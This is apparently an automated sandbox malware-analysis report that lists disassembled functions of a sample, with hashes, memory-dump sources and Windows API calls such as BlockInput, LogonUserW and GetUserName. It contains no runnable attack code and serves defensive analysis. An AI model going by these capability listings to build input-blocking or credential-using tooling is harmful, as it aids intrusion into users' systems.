                                                                                                                                                  • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                                                                                  • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                  • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                                                                                  Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: 0vH$HH
                                                                                                                                                  • API String ID: 0-728391547
                                                                                                                                                  • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                  • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                                                                                  • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                  • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                                                                                  Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _memset
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2102423945-0
                                                                                                                                                  • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                  • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                                                                                  • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                  • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                                                                                  Function 0047E1FA Relevance: 2.0, APIs: 1, Instructions: 499COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Proc
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2346855178-0
                                                                                                                                                  • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                  • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                                                                                                  • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                  • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                                                                                                  Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • BlockInput.USER32(00000001), ref: 0045A272
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BlockInput
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3456056419-0
                                                                                                                                                  • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                  • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                                                                                                  • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                  • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                                                                                                  Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: LogonUser
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1244722697-0
                                                                                                                                                  • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                  • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                                                                                  • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                  • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                                                                                  Function 004711D2 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: NameUser
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2645101109-0
                                                                                                                                                  • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                  • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                                                                                                  • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                  • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                                                                                                  Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 3192549508-0
                                                                                                                                                  • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                  • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                                                                                  • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                  • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                                                                                  Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                  • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                                                                                  • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                  • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                                                                                  Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                  • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                                                                                  • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                  • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                                                                                  Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                  • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
                                                                                                                                                  • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                  • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                                                                                  Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                  • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                                                                                  • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                  • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                                                                                  Function 040BAAF8 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                  • Instruction ID: 588fadde538fe2a5b338cb970ddb91813d723f3549a1dd0f890e36cbd66b3d67
                                                                                                                                                  • Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
                                                                                                                                                  • Instruction Fuzzy Hash: E141D371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB80
                                                                                                                                                  Function 040BA988 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                  • Instruction ID: ca6dd4dfd2dd78ac32612a5ea3f9f214637dd93c086b222ce4bdb1b0718c5e76
                                                                                                                                                  • Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
                                                                                                                                                  • Instruction Fuzzy Hash: B7019278A00109EFCB44DF98C5909AEF7F5FB48310F208599E849A7701D730AE41DF84
                                                                                                                                                  Function 040BA9E8 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                  • Instruction ID: 94ae246788d488bb71e4e3bb229c7db342f9a29c42f02cfc43c5158854383a1d
                                                                                                                                                  • Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
                                                                                                                                                  • Instruction Fuzzy Hash: 40019278A00209EFCB44DF98C6909AEF7F5FB48310F208599E849A7701E734AE51DF94
                                                                                                                                                  Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                  • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                                                                  • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                  • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                                                                  Function 040B9338 Relevance: .0, Instructions: 6COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1356811221.00000000040B7000.00000040.00000020.00020000.00000000.sdmp, Offset: 040B7000, based on PE: false
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_40b7000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                  • Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
                                                                                                                                                  • Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
                                                                                                                                                  • Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48
                                                                                                                                                  Function 00459384 Relevance: 81.0, APIs: 41, Strings: 5, Instructions: 480filewindowcomCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                                                                  • DestroyWindow.USER32(?), ref: 00459407
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                                                                  • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                                                                  • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                                                                  • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                                                                  • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                                                                  • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                                                                  • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                                                                  • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                                                                  • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                                                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                                                                  • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                                                                  • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                                                                  • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                                                                  • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                                                                  • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                                                                  • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                                                                  • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                                                                  • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                                                                  • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                                                                  • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                                                                  • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                                                                  • _wcslen.LIBCMT ref: 00459800
                                                                                                                                                  • _wcscpy.LIBCMT ref: 0045981F
                                                                                                                                                  • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                                                                  • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
